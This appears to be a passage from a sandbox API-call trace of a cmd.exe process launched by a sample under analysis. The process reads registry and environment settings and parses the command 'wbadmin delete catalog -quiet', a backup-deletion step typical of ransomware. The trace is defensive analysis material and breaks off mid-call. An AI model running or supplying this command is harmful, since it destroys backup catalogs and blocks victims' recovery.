0x1c [0038.246] VirtualQuery (in: lpAddress=0x253000, lpBuffer=0x34fdec, dwLength=0x1c | out: lpBuffer=0x34fdec*(BaseAddress=0x253000, AllocationBase=0x250000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0038.246] VirtualQuery (in: lpAddress=0x350000, lpBuffer=0x34fdec, dwLength=0x1c | out: lpBuffer=0x34fdec*(BaseAddress=0x350000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x170000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0038.246] GetConsoleOutputCP () returned 0x1b5 [0038.246] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0038.246] SetConsoleCtrlHandler (HandlerRoutine=0x4a85e72a, Add=1) returned 1 [0038.247] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.247] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0038.247] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.247] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0038.247] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.247] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.247] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.247] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0038.248] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.248] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0038.248] GetEnvironmentStringsW () returned 0x6c2008* [0038.248] GetProcessHeap () returned 0x6b0000 [0038.248] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xaca) returned 0x6c2ae0 [0038.248] FreeEnvironmentStringsW (penv=0x6c2008) returned 1 [0038.248] GetProcessHeap () returned 0x6b0000 [0038.248] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x4) returned 0x6c0c40 [0038.248] GetEnvironmentStringsW () returned 0x6c2008* [0038.248] GetProcessHeap () returned 0x6b0000 [0038.248] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xaca) returned 0x6c35b8 [0038.248] FreeEnvironmentStringsW (penv=0x6c2008) returned 1 [0038.248] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x34ed8c | out: phkResult=0x34ed8c*=0x68) returned 0x0 [0038.249] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x34ed94, lpData=0x34ed98, lpcbData=0x34ed90*=0x1000 | out: lpType=0x34ed94*=0x0, lpData=0x34ed98*=0x0, lpcbData=0x34ed90*=0x1000) returned 0x2 [0038.249] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x34ed94, lpData=0x34ed98, lpcbData=0x34ed90*=0x1000 | out: lpType=0x34ed94*=0x4, lpData=0x34ed98*=0x1, lpcbData=0x34ed90*=0x4) returned 0x0 [0038.249] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x34ed94, lpData=0x34ed98, lpcbData=0x34ed90*=0x1000 | out: lpType=0x34ed94*=0x0, lpData=0x34ed98*=0x1, lpcbData=0x34ed90*=0x1000) returned 0x2 [0038.249] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x34ed94, lpData=0x34ed98, lpcbData=0x34ed90*=0x1000 | out: lpType=0x34ed94*=0x4, lpData=0x34ed98*=0x0, lpcbData=0x34ed90*=0x4) returned 0x0 [0038.249] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x34ed94, lpData=0x34ed98, lpcbData=0x34ed90*=0x1000 | out: lpType=0x34ed94*=0x4, lpData=0x34ed98*=0x40, lpcbData=0x34ed90*=0x4) returned 0x0 [0038.249] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x34ed94, lpData=0x34ed98, lpcbData=0x34ed90*=0x1000 | out: lpType=0x34ed94*=0x4, lpData=0x34ed98*=0x40, lpcbData=0x34ed90*=0x4) returned 0x0 [0038.249] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x34ed94, lpData=0x34ed98, lpcbData=0x34ed90*=0x1000 | out: lpType=0x34ed94*=0x0, lpData=0x34ed98*=0x40, lpcbData=0x34ed90*=0x1000) returned 0x2 [0038.249] RegCloseKey (hKey=0x68) returned 0x0 [0038.249] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x34ed8c | out: phkResult=0x34ed8c*=0x68) returned 0x0 [0038.249] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x34ed94, lpData=0x34ed98, lpcbData=0x34ed90*=0x1000 | out: lpType=0x34ed94*=0x0, lpData=0x34ed98*=0x40, lpcbData=0x34ed90*=0x1000) returned 0x2 [0038.249] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x34ed94, lpData=0x34ed98, lpcbData=0x34ed90*=0x1000 | out: lpType=0x34ed94*=0x4, lpData=0x34ed98*=0x1, lpcbData=0x34ed90*=0x4) returned 0x0 [0038.249] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x34ed94, lpData=0x34ed98, lpcbData=0x34ed90*=0x1000 | out: lpType=0x34ed94*=0x0, lpData=0x34ed98*=0x1, lpcbData=0x34ed90*=0x1000) returned 0x2 [0038.249] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x34ed94, lpData=0x34ed98, lpcbData=0x34ed90*=0x1000 | out: lpType=0x34ed94*=0x4, lpData=0x34ed98*=0x0, lpcbData=0x34ed90*=0x4) returned 0x0 [0038.249] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x34ed94, lpData=0x34ed98, lpcbData=0x34ed90*=0x1000 | out: lpType=0x34ed94*=0x4, lpData=0x34ed98*=0x9, lpcbData=0x34ed90*=0x4) returned 0x0 [0038.249] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x34ed94, lpData=0x34ed98, lpcbData=0x34ed90*=0x1000 | out: lpType=0x34ed94*=0x4, lpData=0x34ed98*=0x9, lpcbData=0x34ed90*=0x4) returned 0x0 [0038.249] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x34ed94, lpData=0x34ed98, lpcbData=0x34ed90*=0x1000 | out: lpType=0x34ed94*=0x0, lpData=0x34ed98*=0x9, lpcbData=0x34ed90*=0x1000) returned 0x2 [0038.249] RegCloseKey (hKey=0x68) returned 0x0 [0038.249] time (in: timer=0x0 | out: timer=0x0) returned 0x5e423e1c [0038.249] srand (_Seed=0x5e423e1c) [0038.249] GetCommandLineW () returned="cmd.exe /c wbadmin delete catalog -quiet" [0038.249] GetCommandLineW () returned="cmd.exe /c wbadmin delete catalog -quiet" [0038.250] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.250] GetProcessHeap () returned 0x6b0000 [0038.250] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x210) returned 0x6c2008 [0038.250] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6c2010, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0038.250] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.250] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0038.250] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.250] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0038.250] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0038.250] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0038.250] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0038.250] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0038.250] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0038.250] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0038.250] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0038.250] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0038.250] GetProcessHeap () returned 0x6b0000 [0038.250] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c2ae0 | out: hHeap=0x6b0000) returned 1 [0038.250] GetEnvironmentStringsW () returned 0x6c2220* [0038.250] GetProcessHeap () returned 0x6b0000 [0038.250] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xae2) returned 0x6c4b80 [0038.251] FreeEnvironmentStringsW (penv=0x6c2220) returned 1 [0038.251] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.251] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.251] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0038.251] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0038.251] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0038.251] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0038.251] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0038.251] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0038.251] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0038.251] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0038.251] GetProcessHeap () returned 0x6b0000 [0038.251] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x54) returned 0x6c5670 [0038.251] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x34fb58 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.251] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x34fb58, lpFilePart=0x34fb54 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x34fb54*="Desktop") returned 0x25 [0038.251] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0038.251] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x34f8d4 | out: lpFindFileData=0x34f8d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x6c1e88 [0038.251] FindClose (in: hFindFile=0x6c1e88 | out: hFindFile=0x6c1e88) returned 1 [0038.251] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x34f8d4 | out: lpFindFileData=0x34f8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x6c1e88 [0038.252] FindClose (in: hFindFile=0x6c1e88 | out: hFindFile=0x6c1e88) returned 1 [0038.252] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0038.878] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x34f8d4 | out: lpFindFileData=0x34f8d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5885400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5885400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x6c1e88 [0038.878] FindClose (in: hFindFile=0x6c1e88 | out: hFindFile=0x6c1e88) returned 1 [0038.878] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0038.878] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0038.878] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0038.879] GetProcessHeap () returned 0x6b0000 [0038.879] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c4b80 | out: hHeap=0x6b0000) returned 1 [0038.879] GetEnvironmentStringsW () returned 0x6c4090* [0038.879] GetProcessHeap () returned 0x6b0000 [0038.879] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xb36) returned 0x6c5ed0 [0038.879] FreeEnvironmentStringsW (penv=0x6c4090) returned 1 [0038.879] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.879] GetProcessHeap () returned 0x6b0000 [0038.879] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c5670 | out: hHeap=0x6b0000) returned 1 [0038.879] GetProcessHeap () returned 0x6b0000 [0038.879] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x400e) returned 0x6c6a10 [0038.879] GetProcessHeap () returned 0x6b0000 [0038.879] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x48) returned 0x6c1e88 [0038.879] GetProcessHeap () returned 0x6b0000 [0038.879] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c6a10 | out: hHeap=0x6b0000) returned 1 [0038.879] GetConsoleOutputCP () returned 0x1b5 [0038.880] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0038.880] GetUserDefaultLCID () returned 0x409 [0038.880] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a864950, cchData=8 | out: lpLCData=":") returned 2 [0038.881] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x34fc98, cchData=128 | out: lpLCData="0") returned 2 [0038.881] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x34fc98, cchData=128 | out: lpLCData="0") returned 2 [0038.881] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x34fc98, cchData=128 | out: lpLCData="1") returned 2 [0038.881] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a864940, cchData=8 | out: lpLCData="/") returned 2 [0038.881] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a864d80, cchData=32 | out: lpLCData="Mon") returned 4 [0038.881] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a864d40, cchData=32 | out: lpLCData="Tue") returned 4 [0038.881] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a864d00, cchData=32 | out: lpLCData="Wed") returned 4 [0038.881] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a864cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0038.881] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a864c80, cchData=32 | out: lpLCData="Fri") returned 4 [0038.881] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a864c40, cchData=32 | out: lpLCData="Sat") returned 4 [0038.881] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a864c00, cchData=32 | out: lpLCData="Sun") returned 4 [0038.881] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a864930, cchData=8 | out: lpLCData=".") returned 2 [0038.881] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a864920, cchData=8 | out: lpLCData=",") returned 2 [0038.881] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0038.882] GetProcessHeap () returned 0x6b0000 [0038.882] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x20c) returned 0x6c2d98 [0038.882] GetConsoleTitleW (in: lpConsoleTitle=0x6c2d98, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.883] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0038.883] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0038.883] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0038.883] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0038.883] GetProcessHeap () returned 0x6b0000 [0038.883] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x400a) returned 0x6c6a10 [0038.883] GetProcessHeap () returned 0x6b0000 [0038.883] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c6a10 | out: hHeap=0x6b0000) returned 1 [0038.884] _wcsicmp (_String1="wbadmin", _String2=")") returned 78 [0038.884] _wcsicmp (_String1="FOR", _String2="wbadmin") returned -17 [0038.884] _wcsicmp (_String1="FOR/?", _String2="wbadmin") returned -17 [0038.884] _wcsicmp (_String1="IF", _String2="wbadmin") returned -14 [0038.884] _wcsicmp (_String1="IF/?", _String2="wbadmin") returned -14 [0038.884] _wcsicmp (_String1="REM", _String2="wbadmin") returned -5 [0038.884] _wcsicmp (_String1="REM/?", _String2="wbadmin") returned -5 [0038.884] GetProcessHeap () returned 0x6b0000 [0038.884] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x58) returned 0x6c2fb0 [0038.884] GetProcessHeap () returned 0x6b0000 [0038.884] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6c3010 [0038.884] GetProcessHeap () returned 0x6b0000 [0038.884] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x36) returned 0x6c3030 [0038.885] GetConsoleTitleW (in: lpConsoleTitle=0x34f990, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.886] _wcsicmp (_String1="wbadmin", _String2="DIR") returned 19 [0038.886] _wcsicmp (_String1="wbadmin", _String2="ERASE") returned 18 [0038.886] _wcsicmp (_String1="wbadmin", _String2="DEL") returned 19 [0038.886] _wcsicmp (_String1="wbadmin", _String2="TYPE") returned 3 [0038.886] _wcsicmp (_String1="wbadmin", _String2="COPY") returned 20 [0038.886] _wcsicmp (_String1="wbadmin", _String2="CD") returned 20 [0038.886] _wcsicmp (_String1="wbadmin", _String2="CHDIR") returned 20 [0038.886] _wcsicmp (_String1="wbadmin", _String2="RENAME") returned 5 [0038.886] _wcsicmp (_String1="wbadmin", _String2="REN") returned 5 [0038.886] _wcsicmp (_String1="wbadmin", _String2="ECHO") returned 18 [0038.886] _wcsicmp (_String1="wbadmin", _String2="SET") returned 4 [0038.886] _wcsicmp (_String1="wbadmin", _String2="PAUSE") returned 7 [0038.886] _wcsicmp (_String1="wbadmin", _String2="DATE") returned 19 [0038.886] _wcsicmp (_String1="wbadmin", _String2="TIME") returned 3 [0038.886] _wcsicmp (_String1="wbadmin", _String2="PROMPT") returned 7 [0038.886] _wcsicmp (_String1="wbadmin", _String2="MD") returned 10 [0038.886] _wcsicmp (_String1="wbadmin", _String2="MKDIR") returned 10 [0038.886] _wcsicmp (_String1="wbadmin", _String2="RD") returned 5 [0038.886] _wcsicmp (_String1="wbadmin", _String2="RMDIR") returned 5 [0038.886] _wcsicmp (_String1="wbadmin", _String2="PATH") returned 7 [0038.886] _wcsicmp (_String1="wbadmin", _String2="GOTO") returned 16 [0038.886] _wcsicmp (_String1="wbadmin", _String2="SHIFT") returned 4 [0038.886] _wcsicmp (_String1="wbadmin", _String2="CLS") returned 20 [0038.886] _wcsicmp (_String1="wbadmin", _String2="CALL") returned 20 [0038.886] _wcsicmp (_String1="wbadmin", _String2="VERIFY") returned 1 [0038.886] _wcsicmp (_String1="wbadmin", _String2="VER") returned 1 [0038.886] _wcsicmp (_String1="wbadmin", _String2="VOL") returned 1 [0038.886] _wcsicmp (_String1="wbadmin", _String2="EXIT") returned 18 [0038.886] _wcsicmp (_String1="wbadmin", _String2="SETLOCAL") returned 4 [0038.886] _wcsicmp (_String1="wbadmin", _String2="ENDLOCAL") returned 18 [0038.886] _wcsicmp (_String1="wbadmin", _String2="TITLE") returned 3 [0038.886] _wcsicmp (_String1="wbadmin", _String2="START") returned 4 [0038.886] _wcsicmp (_String1="wbadmin", _String2="DPATH") returned 19 [0038.886] _wcsicmp (_String1="wbadmin", _String2="KEYS") returned 12 [0038.886] _wcsicmp (_String1="wbadmin", _String2="MOVE") returned 10 [0038.886] _wcsicmp (_String1="wbadmin", _String2="PUSHD") returned 7 [0038.886] _wcsicmp (_String1="wbadmin", _String2="POPD") returned 7 [0038.886] _wcsicmp (_String1="wbadmin", _String2="ASSOC") returned 22 [0038.887] _wcsicmp (_String1="wbadmin", _String2="FTYPE") returned 17 [0038.887] _wcsicmp (_String1="wbadmin", _String2="BREAK") returned 21 [0038.887] _wcsicmp (_String1="wbadmin", _String2="COLOR") returned 20 [0038.887] _wcsicmp (_String1="wbadmin", _String2="MKLINK") returned 10 [0038.887] _wcsicmp (_String1="wbadmin", _String2="DIR") returned 19 [0038.887] _wcsicmp (_String1="wbadmin", _String2="ERASE") returned 18 [0038.887] _wcsicmp (_String1="wbadmin", _String2="DEL") returned 19 [0038.887] _wcsicmp (_String1="wbadmin", _String2="TYPE") returned 3 [0038.887] _wcsicmp (_String1="wbadmin", _String2="COPY") returned 20 [0038.887] _wcsicmp (_String1="wbadmin", _String2="CD") returned 20 [0038.887] _wcsicmp (_String1="wbadmin", _String2="CHDIR") returned 20 [0038.887] _wcsicmp (_String1="wbadmin", _String2="RENAME") returned 5 [0038.887] _wcsicmp (_String1="wbadmin", _String2="REN") returned 5 [0038.887] _wcsicmp (_String1="wbadmin", _String2="ECHO") returned 18 [0038.887] _wcsicmp (_String1="wbadmin", _String2="SET") returned 4 [0038.887] _wcsicmp (_String1="wbadmin", _String2="PAUSE") returned 7 [0038.887] _wcsicmp (_String1="wbadmin", _String2="DATE") returned 19 [0038.887] _wcsicmp (_String1="wbadmin", _String2="TIME") returned 3 [0038.887] _wcsicmp (_String1="wbadmin", _String2="PROMPT") returned 7 [0038.887] _wcsicmp (_String1="wbadmin", _String2="MD") returned 10 [0038.887] _wcsicmp (_String1="wbadmin", _String2="MKDIR") returned 10 [0038.887] _wcsicmp (_String1="wbadmin", _String2="RD") returned 5 [0038.887] _wcsicmp (_String1="wbadmin", _String2="RMDIR") returned 5 [0038.887] _wcsicmp (_String1="wbadmin", _String2="PATH") returned 7 [0038.887] _wcsicmp (_String1="wbadmin", _String2="GOTO") returned 16 [0038.887] _wcsicmp (_String1="wbadmin", _String2="SHIFT") returned 4 [0038.887] _wcsicmp (_String1="wbadmin", _String2="CLS") returned 20 [0038.887] _wcsicmp (_String1="wbadmin", _String2="CALL") returned 20 [0038.887] _wcsicmp (_String1="wbadmin", _String2="VERIFY") returned 1 [0038.887] _wcsicmp (_String1="wbadmin", _String2="VER") returned 1 [0038.887] _wcsicmp (_String1="wbadmin", _String2="VOL") returned 1 [0038.887] _wcsicmp (_String1="wbadmin", _String2="EXIT") returned 18 [0038.887] _wcsicmp (_String1="wbadmin", _String2="SETLOCAL") returned 4 [0038.888] _wcsicmp (_String1="wbadmin", _String2="ENDLOCAL") returned 18 [0038.888] _wcsicmp (_String1="wbadmin", _String2="TITLE") returned 3 [0038.888] _wcsicmp (_String1="wbadmin", _String2="START") returned 4 [0038.888] _wcsicmp (_String1="wbadmin", _String2="DPATH") returned 19 [0038.888] _wcsicmp (_String1="wbadmin", _String2="KEYS") returned 12 [0038.888] _wcsicmp (_String1="wbadmin", _String2="MOVE") returned 10 [0038.888] _wcsicmp (_String1="wbadmin", _String2="PUSHD") returned 7 [0038.888] _wcsicmp (_String1="wbadmin", _String2="POPD") returned 7 [0038.888] _wcsicmp (_String1="wbadmin", _String2="ASSOC") returned 22 [0038.888] _wcsicmp (_String1="wbadmin", _String2="FTYPE") returned 17 [0038.888] _wcsicmp (_String1="wbadmin", _String2="BREAK") returned 21 [0038.888] _wcsicmp (_String1="wbadmin", _String2="COLOR") returned 20 [0038.888] _wcsicmp (_String1="wbadmin", _String2="MKLINK") returned 10 [0038.888] _wcsicmp (_String1="wbadmin", _String2="FOR") returned 17 [0038.888] _wcsicmp (_String1="wbadmin", _String2="IF") returned 14 [0038.888] _wcsicmp (_String1="wbadmin", _String2="REM") returned 5 [0038.888] GetProcessHeap () returned 0x6b0000 [0038.888] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x210) returned 0x6c3070 [0038.888] GetProcessHeap () returned 0x6b0000 [0038.888] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x46) returned 0x6c3288 [0038.888] _wcsnicmp (_String1="wbad", _String2="cmd ", _MaxCount=0x4) returned 20 [0038.889] GetProcessHeap () returned 0x6b0000 [0038.889] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x418) returned 0x6b07f0 [0038.889] SetErrorMode (uMode=0x0) returned 0x0 [0038.889] SetErrorMode (uMode=0x1) returned 0x0 [0038.889] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6b07f8, lpFilePart=0x34f4b0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x34f4b0*="Desktop") returned 0x25 [0038.889] SetErrorMode (uMode=0x0) returned 0x1 [0038.889] GetProcessHeap () returned 0x6b0000 [0038.889] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6b07f0, Size=0x64) returned 0x6b07f0 [0038.889] GetProcessHeap () returned 0x6b0000 [0038.889] RtlSizeHeap (HeapHandle=0x6b0000, Flags=0x0, MemoryPointer=0x6b07f0) returned 0x64 [0038.889] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.889] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0038.889] GetProcessHeap () returned 0x6b0000 [0038.889] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x120) returned 0x6c32d8 [0038.889] GetProcessHeap () returned 0x6b0000 [0038.889] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x238) returned 0x6b0860 [0038.896] GetProcessHeap () returned 0x6b0000 [0038.896] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6b0860, Size=0x122) returned 0x6b0860 [0038.896] GetProcessHeap () returned 0x6b0000 [0038.896] RtlSizeHeap (HeapHandle=0x6b0000, Flags=0x0, MemoryPointer=0x6b0860) returned 0x122 [0038.896] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: 